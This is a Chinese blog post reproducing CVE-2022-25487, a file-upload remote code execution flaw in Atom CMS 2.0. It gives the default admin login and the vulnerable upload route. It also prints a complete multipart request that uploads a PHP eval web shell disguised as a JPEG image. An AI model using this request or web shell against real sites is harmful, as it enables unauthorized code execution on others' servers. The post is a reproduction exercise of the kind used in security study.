CVE-2022-25487 漏洞复现

Jay 17

已于 2024-02-17 20:28:08 修改

阅读量1.1k

点赞数 8

CC 4.0 BY-SA版权

分类专栏： CVE复现文章标签：漏洞复现 CVE Web安全网络安全 PHP CVE-2022-25487

于 2024-02-12 22:33:22 首次发布

本文链接：https://blog.csdn.net/Jayjay___/article/details/136104023

CVE复现专栏收录该内容

18 篇文章

订阅专栏

漏洞描述：Atom CMS 2.0版本存在远程代码执行漏洞，该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。

其实这就是一个文件上传漏洞罢了。。。。

打开之后，/home路由是个空白

信息搜集：该cms有默认邮箱/密码 alan@alan.com/password，到/admin路由下尝试登录。

Users下有个上传文件功能，可能是上传头像用的。

抓包中无文件上传的内容？？？？（奇奇怪怪）

看了一下，漏洞路由在/admin/uploads.php，直接在界面中点击到不了这个路由。。。。

直接修改刚刚的包吧

直接传php文件，这cms写的真shit

Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041





-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"


-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: image/jpeg


<?php @eval($_POST['cmd']);?>
-----------------------------30623082103363803402542706041--